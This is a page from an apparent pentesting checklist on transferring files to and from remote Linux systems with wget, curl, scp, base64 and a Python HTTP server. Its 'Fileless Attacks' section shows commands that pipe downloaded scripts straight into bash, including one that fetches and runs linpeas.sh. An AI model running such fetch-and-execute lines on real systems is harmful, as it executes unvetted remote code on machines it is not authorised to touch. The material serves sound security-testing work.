🩸
Pentesting Checklist
  • 👀General Checklist
    • 👁️Recon & Scanning
      • Nmap Scan
    • 🌡️Services
      • SSH
      • FTP
      • Samba
      • Git
      • SNMP
    • ⚙️Reverse Engineering
      • General
      • Android apks
      • Windows Exe or .net binaries
  • 🐞Web Application Checklist
    • 🧠Web App Attack Techniques
      • Password Smuggling Attack
    • 😍Fuzzing with ffuf
    • 💄Directory Fuzzing
      • Using the tools
      • Wordlists to use
    • 👾Subdomain Fuzzing
      • Normal fuzzing
      • Finding through DNS
    • 🎯LFI/RCE
      • LFI
        • What to do once obtained
      • RCE
      • Misc
  • ☕Linux Checklist
    • Page 2
  • 🪟Windows Checklist
    • 💀Windows Connection Methods
  • 🖇️Tips & Tricks
    • Transferring Files
      • 🐧Linux
      • 📸Windows
    • Pivoting / Lateral Movement Techniques
      • proxychains
      • chisel
      • sshuttle
      • ligolo-ng
    • 🧩Fuzzing
    • 🙃Credential Brute-Forcing
  • 🍒Other useful resources:
    • Page 7
Powered by GitBook
On this page
  1. Tips & Tricks
  2. Transferring Files

Linux

Transferring files to/from remote Linux systems

PreviousTransferring FilesNextWindows

Last updated 2 years ago

  • wget

    • wget

  • curl

    • curl -o file

  • ssh (ssh only)

    • From attack_machine to remote server:

      • scp <path to file wanted to transfer> user@ip:/<directory on the system>

    • From remote server to attack_machine

      • scp user@ip:/path/to/file .

  • Base64

    1. base64 (file)

    2. echo "base64 contents" | base64 -d > output_file

  • Python Web Server

    1. python3 -m http.server

    2. ifconfig and grab the right ip

    3. run the wget/curl commands on the other system

  • Fileless Attacks

    • curl/wget http://ip:port/file | (bash, python3, command to execute the script)

    • Ex: wget

🖇️
🐧
http://ip:port/file
http://ip:port/file
https://github.com/carlospolop/PEASS-ng/releases/download/20221106/linpeas.sh | bash